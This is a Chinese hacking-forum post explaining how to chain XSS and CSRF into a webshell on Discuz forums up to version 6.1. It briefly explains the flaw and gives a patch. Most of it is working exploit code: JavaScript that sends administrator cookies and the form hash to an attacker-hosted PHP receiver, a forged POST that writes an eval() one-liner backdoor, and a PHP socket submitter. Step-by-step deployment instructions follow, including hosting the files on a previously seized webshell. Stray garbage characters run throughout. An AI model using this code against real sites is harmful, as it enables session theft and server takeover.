Discuz XSS得webshell# c: ^' }$ {% g' ?4 i
By racle @tian6.com6 X/ `. e9 r+ R8 [. `
欢迎转帖.但请保留版权信息.0 J! s# k+ T$ c: r2 X( s+ D, K5 n5 r" z& G
受影响版本 iscuz<=6.1.0,gbk+utf+big5
" ]" I' G5 [6 ^- m g4 L! H: m c5 a6 ?: p
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
1 v0 ~( M6 x M
, W, S* T9 E; f
( @3 v# w. `( A1 }8 P) F# I3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
$ V: |# q1 X) }1 J3 O. N9 t4 }当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.' z' }' ~6 }; A+ O* T) w' }3 z
( F% K; h: ?, V4 i) E% `. _分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..% p2 X9 ~# N% D5 y2 F- S: [4 [# m
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
* K5 |6 o6 E' E" Y: i. r8 k0 D. V/ G! T. H& x) R8 [# r* X
- M2 M: J& ?- h+ \) D) `----------------------------------------------------------前言分隔线----------------------------------------------------------------------------- F# x$ Z; R* K4 ~7 k8 R
0 E1 s8 ]$ y4 m$ \
: X$ [) o: i( i$ }: k* c' Vproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
f+ Z( i8 C+ ]9 ]* e
5 T; e# K" b# W2 B5 bproblem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
d9 X) L. D) {7 I# j5 F' S6 k) U0 }" N9 B
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.! f4 o# S# g4 P3 t% a5 K9 m5 K
: O$ K2 E3 X w( R2 N" S* R' x
( u S2 b7 w% O# L
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
4 O; N7 @' i6 @( B1 e* H3 Y+ A) L1 c) s3 F
global $runwizardfile, $runwizardhistory;% P. E0 ~! Z' \
/ F. l/ K* ?, w: Y- z
$fp = fopen($runwizardfile, 'w');1 j3 ~# E( c- W* T4 L* n! h
, B5 k* Q3 S) Q5 K% M
fwrite($fp, serialize($runwizardhistory));
+ O6 s; Z; z4 ^; t" F" N% j1 k `* e, P+ S! v O" ~7 t
fclose($fp);
8 Z: Z) M9 c8 E: `% o! f- [' z7 a) T- g
}
i0 n) ~/ }; l$ h2 h" z复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.& t' e8 Z6 h, g$ J9 m7 \0 X
以下是修补的办法:function saverunwizardhistory() {! X v0 C: H* g% D4 ^( _! @
/ ?; c: R+ U& l) v
global $runwizardfile, $runwizardhistory;
3 b, i) J) H J$ y+ Y. o3 \$ S; M2 M1 ]7 \1 _8 `- O# n1 G( ^/ f
$fp = fopen($runwizardfile, 'w');
4 M' m0 M# {& \& X' E" u1 f$ [+ M, D# S+ w0 A3 [$ a- P8 e
$s = '<?php exit;?>';2 \1 W+ n7 K% V8 l0 d h: F( Y z
8 ~6 j* C8 w+ _0 R- I/ i: _
$s .= serialize($runwizardhistory);
- O9 D. p* W) p/ W+ p
3 _' @" G5 L1 Q& R% ~ fwrite($fp, $s);
* F& I/ N( ~' m/ E! T
* U; a4 m& n$ [: ~ fclose($fp);+ Z% ?1 [* P2 X5 c5 T8 C
T. _# [+ D: I# Q
}9 Q/ r! G8 n* I- t: J4 v
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
+ R8 }0 E# T8 M: y. x$ L' B
& i, O/ ~2 n3 m, x5 j% o/ T7 }$ S
& {8 j$ _- s1 ^) ]* ]: K" H
; {0 z$ k( G# v; _----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------2 W3 G. X. j2 {7 e, P) b }3 M3 G
. e. R! K# j$ x8 {% r+ I5 ?5 i5 a! \# i
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.$ Z' I8 h$ p/ I6 r' Y8 z4 B+ k: l
* S9 ~+ G; l) m9 K. h. k. S我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
0 P. X' U" D* K/ y! F- M& W1 }
) i8 m8 V( ]- ^; a) k N这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.: `: D* ]* S7 `/ `8 U, f
2 V$ c& C, G$ }; N" e
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:8 D+ v+ l! b( A' D1 k/ a. q; F. M
9 c2 _ j' p+ |3 O0 ^) Z% \var url="http://目标网站/admincp.php";
2 [5 ?* V+ a1 h
2 L3 ` Z$ G3 Z3 c, ^/*获得cookies*/+ A" O0 Y6 \ J+ C6 H* H0 G$ r% _
! A: X: z; w8 d7 O7 O& O% G0 k: C
function getURL(s) {- u6 H& z, I" U! { E+ `( C5 w, c8 E
& i, Z/ I% u$ J# a+ O6 F
var image = new Image();' y% t4 K5 [( O
3 v8 y/ q7 b* ~1 H* E2 |0 }0 Q
image.style.width = 0;* J9 Q+ G' _% m8 m4 n# l
' C- o$ C. U. H" q2 X
image.style.height = 0;
! n8 E: I4 w; _ C; P
- z1 i E8 k& G. a; g9 jimage.src = s;
) {( p# ?6 b4 k- |% [" T2 r7 e ?) f e$ o9 {
}
8 R/ t: [! k8 E7 b+ r6 L: K% C) ]8 V3 k6 Q# o, x
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php9 ?6 d4 k7 ]( b/ H5 A, }/ q5 j2 G
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];; m3 ^0 ?& \& H- ?- W8 Y+ s! W
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 5 {8 a" A6 M3 o+ G! F7 E
( C% C \' b* z+ @- w. e e5 s. ]5 a' w* `$ H7 ?9 k4 r
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";; x1 z7 X$ F! c3 s# Z: x
* {" y6 l0 J3 W$ R! X K
# V4 p$ ^) C* S% x0 M0 [
0 F2 @+ y6 D/ D8 C4 D* Z/*hash*/
( ~5 `: t5 n% F% G% s" b; h3 ]+ E, `' V' _. d
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
$ d& S3 s. t# s1 C' i3 L- @" m- `3 \/ d/ n3 A, ]9 x; q6 ~9 B5 h* ^- f! ~
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);( _$ `" p" U, ]! A1 ^5 z" \
$ D P0 e% m. O2 S& }( i' `4 ~
xmlHttpReq.send();) R! Z( G. U s
/ }1 t N% ?! ^) t4 Q
var resource = xmlHttpReq.responseText;" A5 S: O( v8 D
1 U- a) a, ~* C$ c) H* uvar numero = resource.search(/formhash/);
) i6 H- b2 B1 h3 O, A* H' e3 M% E0 m$ _ V& D1 W
var formhash=encodeURIComponent(resource.substr(numero+17,8));
4 N) L" S D( G3 G1 I* ~- b: p7 [8 @' p* W
' y2 |- t: V$ H% d2 |
8 d) j& K7 x6 x: f1 ^3 {; W
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 . r y6 i( x6 `) ]8 L* w1 R
; C1 s; W( [: A# K5 \4 L: oxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 6 y5 ~5 z$ \- C" R- j2 u, _( l4 c
% G4 i- k/ N8 ExmlHttpReq.setRequestHeader("Referer", url);
3 U$ l! ]8 S2 X9 P7 m b5 x# r# I7 B
' a2 y; C: p& YxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");4 M0 H$ u- ]0 D. v& Z, J
6 F7 D7 y) ~- w8 ~. ^! d5 [3 S. g
xmlHttpReq.setrequestheader("content-length",post.length);
- s' F: r+ r3 F* }# u+ P8 p) x# q$ u/ D. R3 p/ t0 P# _
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); ! W1 s4 o( i; d* J6 ?
6 [3 w* x! e% O
xmlHttpReq.send(post);//发送数据
: g0 e) w5 e5 {- [ h9 H" |; Q- i% E复制代码这里HASH我假设正确,这样提交,也无须cookies5 i$ [" d" p E
: N K" ^0 F+ D( q, `
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30); g/ ~3 L1 F9 \ \" B
/ r( k3 Q; [/ c
if (!$sock) die("$errstr ($errno)\n");
$ p$ p) ` ~/ [1 c; d: e4 f9 I
3 G6 ]/ l7 I" B @$ t0 ?6 Z' b9 `$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';1 ?. M. e! r2 a2 \5 O% A% W
( x6 ]& U, E5 P0 X. j
7 W$ h& Z0 D. p
2 W6 N# @5 R$ A% N% Rfwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
; K% V$ A5 n- [9 Z8 S) {* i7 G1 \: v3 p8 k) C
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");; q+ E! l% j: E0 J( d
7 ~/ V2 ]4 b0 b2 a; u! Y( S
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
+ A% W9 ~% P* j5 l/ r
6 n6 p& B# q o- b$ i# o: dfwrite($sock, "Accept-Language: zh-cn\r\n");' s5 d$ ~7 x# ]* N( o
: k6 n- Z7 A( E1 J" s6 F( O; g
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
- V" U% C' r7 P# Z6 X* {" g$ q6 O1 H: s& a) D+ }
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
( v9 J" U7 g9 X8 Y$ N9 X8 b. F1 F! T$ ]+ T& e' N
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
+ j8 e2 W7 D' _
# G# @# h# E" \. A9 N: q/ u9 v/ Mfwrite($sock, "Host: $url\r\n");) W& L9 s9 w1 x, k2 F
L4 P2 U8 F& V9 y1 W! cfwrite($sock, "Content-Length: ".strlen($data)."\r\n");
. s: b- S6 T- t) `! ~0 y
; L# b' u }/ nfwrite($sock, "Connection: Keep-Alive\r\n");' r8 A) C: S6 ^ r$ n6 l- d9 r
0 D S" o: E5 ]( b. g+ N: Efwrite($sock, "Cache-Control: no-cache\r\n");
5 v& l* n) F( u/ L( U/ u3 n' Y6 @0 w W# |5 I& D9 W* k# c
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");8 s8 W2 {- |) @4 A4 p4 s
/ C! \1 ]# B& Y+ ] i
fwrite($sock, $data);4 b# H; y( H0 l
+ k U, g) \* U
7 o7 v4 Q1 z4 B* |- N: m
& w3 |7 j4 t0 n' R- v$headers = "";4 a' O% f% h, V& j1 J* R% D
' ~" O% o" r# z' Q. @6 swhile ($str = trim(fgets($sock, 4096)))
0 A! y2 d7 H' f+ `. W- A/ f
0 i$ D+ v3 A5 W" [: ] $headers .= "$str\n";
( s' p/ c! O& R
, D4 F e/ d- l' O: O* E6 r1 C: [# }echo "\n";
) g9 h: o# |! ]1 N% q! W+ ]! ]7 c( x. B9 i% c" \# p" s
$body = "";
3 q9 F# _$ c( O* h
, P1 K' z, f& [5 c: N3 Vwhile (!feof($sock))
0 ]& x* s. X) _; X; _ c2 i; P: D9 {- n" i+ [! ~
$body .= fgets($sock, 4096);
4 n1 d& g; r, w; N) x7 C, y4 N% O1 V' U, M
fclose($sock);1 T* O9 L o" f; x
8 a- D4 u# x, K9 r- O, M9 ^
echo $body;
2 }& F5 L; R: c9 y! G/ Z9 o- V复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
0 E( b& j- c2 N) s: |7 y* h' R* W3 l2 D4 X' P0 g
! F- }5 a- p, ^7 R-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------. V0 v- X- s- z( h- V7 y% {
9 _/ Z$ e; r5 o% e1 V, }# c3 C$ R
T- ~8 R3 c5 n: Z( m% k. s: Y9 w1 HP SOCKET利用方法首先打开racle.js0 `3 a& \, R0 a+ e+ L
9 B j' b; \: T5 p. mvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
; P' T& Q" j5 `7 T+ P# Q. J
4 L* g$ D9 S) I s5 I3 v5 n+ M0 \9 N2 N- {% r
4 W$ p7 W6 m E
然后打开racle@tian6.php
; o; L" s% m/ L# u N0 l2 Y3 t' u7 }9 F
5 e4 J2 e8 P8 |2 e$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com! L( \+ d8 F, Z9 b
& _3 e- N1 V5 p
) B4 h. x* b4 j# D& [, e% I
* f, @: W5 [% F1 Z! T" _3 u! d" ^如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
9 S0 a6 F1 H' o. H* ]9 J! O1 \9 h+ ]+ h: ^# f% ~ ^5 |1 d
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));# m) F3 d q" ]: `
/ Z0 M1 F. i' c* ~- U
为! S. P1 _, A0 T- A
* L e0 K Z9 Q& Q3 I$ `
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
- K" T! |: A, K* [& R复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.5 q2 g, ?. G2 F6 \- T0 S
9 {8 D9 e0 H- B# m: S; G) X- }: g q, x- h* M9 B3 [. l
T: P5 m t' X; h7 H+ w如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
6 l6 s+ }0 _" i1 @# D) R- A% X3 d: k1 g: E0 ~' u: H8 c
var formhash=encodeURIComponent(resource.substr(numero+17,8));
; [$ _3 x# y1 [- s" c3 z$ q, }& w
& R$ w1 @: I# a1 A2 { ^为1 ?" }" Q; {7 G
4 ]( Q! Z' C$ I0 [3 V
var formhash=encodeURIComponent(resource.substr(numero+9,8));
: x, r: Q3 l5 p. g5 p% M复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
0 J" t, @) I+ Q% j$ r7 Z$ o0 T) f f; y9 N4 G: m
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
/ A5 C, E4 J2 { e1 G- f3 b8 w9 e7 k- c
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
/ _$ ]7 N$ _8 O- [7 ]( B
: N& n+ f) a( Z- V8 ?7 J) |不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧., [' _( {7 D4 J/ e6 N; |5 X
. M+ G, J/ M+ G/ G7 ]! Z
|